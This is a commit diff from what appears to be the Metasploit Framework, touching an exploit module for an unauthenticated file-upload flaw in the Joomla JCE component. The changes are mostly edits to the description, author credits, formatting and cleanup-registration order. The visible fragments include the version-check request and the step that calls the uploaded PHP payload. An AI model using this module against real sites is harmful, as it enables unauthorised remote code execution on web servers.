@@ -15,32 +15,33 @@ class Metasploit3 < Msf::Exploit::Remote
15
15
16
16
def initialize ( info = { } )
17
17
super ( update_info ( info ,
18
- 'Name' => 'Joomla Component JCE File Upload Code Execution' ,
18
+ 'Name' => 'Joomla Component JCE File Upload Remote Code Execution' ,
19
19
'Description' => %q{
20
- This module exploits a vulnerability in the JCE component for Joomla!
21
- could allow a unauthenticated remote attacker to upload arbitrary files,
22
- caused by the fails to sufficiently sanitize user-supplied input.
23
- Sending a specially-crafted HTTP request, a remote attacker could exploit
24
- this vulnerability to upload a malicious PHP script, which could allow the
25
- attacker to execute arbitrary PHP code on the vulnerable system.
20
+ This module exploits a vulnerability in the JCE component for Joomla!, which
21
+ could allow an unauthenticated remote attacker to upload arbitrary files, caused by the
22
+ fails to sufficiently sanitize user-supplied input. Sending specially-crafted HTTP
23
+ request, a remote attacker could exploit this vulnerability to upload a malicious PHP
24
+ script, which could allow the attacker to execute arbitrary PHP code on the vulnerable
25
+ system. This module has been tested successfully on the JCE Editor 1.5.71 and Joomla
26
+ 1.5.26.
26
27
} ,
27
- 'Author' => [ 'Heyder Andrade <eu[at]heyderandrade.org>' ] ,
28
+ 'Author' =>
29
+ [
30
+ 'Unknown' , # From AmnPardaz Security Group # Vulnerability discovery and PoC
31
+ 'Heyder Andrade <eu[at]heyderandrade.org>' # Metasploit module
32
+ ] ,
28
33
'License' => MSF_LICENSE ,
29
34
'References' =>
30
35
[
31
36
[ 'BID' , '49338' ] ,
32
- [ 'EDB' , '17734' ] ,
37
+ [ 'EDB' , '17734' ]
33
38
] ,
34
39
'Payload' =>
35
40
{
36
41
'Space' => 4000 , # only to prevent error HTTP 414 (Request-URI Too Long)
37
42
'DisableNops' => true ,
38
43
'BadChars' => "#" ,
39
- 'Keys' => [ 'php' ] ,
40
- 'Compat' =>
41
- {
42
- 'ConnectionType' => 'find' ,
43
- } ,
44
+ 'Keys' => [ 'php' ]
44
45
} ,
45
46
'Platform' => 'php' ,
46
47
'Arch' => ARCH_PHP ,
@@ -60,21 +61,20 @@ def get_version
60
61
# check imgmanager version
61
62
@uri_base = normalize_uri ( target_uri . path . to_s , 'index.php' )
62
63
@vars_get_base = {
63
- 'option' => 'com_jce' ,
64
- 'task' => 'plugin' ,
65
- 'plugin' => 'imgmanager' ,
66
- 'file' => 'imgmanager'
67
- }
64
+ 'option' => 'com_jce' ,
65
+ 'task' => 'plugin' ,
66
+ 'plugin' => 'imgmanager' ,
67
+ 'file' => 'imgmanager'
68
+ }
68
69
print_status ( "Checking component version to #{ datastore [ 'RHOST' ] } :#{ datastore [ 'RPORT' ] } " )
69
- res = send_request_cgi (
70
- {
71
- 'uri' => @uri_base ,
72
- 'vars_get' => @vars_get_base ,
73
- 'method' => 'GET' ,
74
- 'version' => '1.1'
75
-
76
- } )
70
+ res = send_request_cgi ( {
71
+ 'uri' => @uri_base ,
72
+ 'vars_get' => @vars_get_base ,
73
+ 'method' => 'GET' ,
74
+ 'version' => '1.1'
75
+ } )
77
76
77
+ version = nil
78
78
if ( res and res . code == 200 )
79
79
res . body . match ( %r{^\s +?<title>Image\s Manager\s :\s ?(.*)<} )
80
80
version = $1. nil? ? nil : $1
@@ -171,7 +171,6 @@ def call_payload
171
171
payload = "#{ @payload_name } .php"
172
172
print_status ( "Calling payload: #{ payload } " )
173
173
uri = normalize_uri ( target_uri . path . to_s , "images" , "stories" , payload )
174
- register_files_for_cleanup ( payload )
175
174
res = send_request_cgi ( {
176
175
'uri' => uri ,
177
176
'method' => 'GET' ,
@@ -186,6 +185,7 @@ def exploit
186
185
return if not check == Exploit ::CheckCode ::Vulnerable
187
186
if upload_gif == :success
188
187
if renamed?
188
+ register_files_for_cleanup ( "#{ @payload_name } .php" )
189
189
call_payload
190
190
end
191
191
end
0 commit comments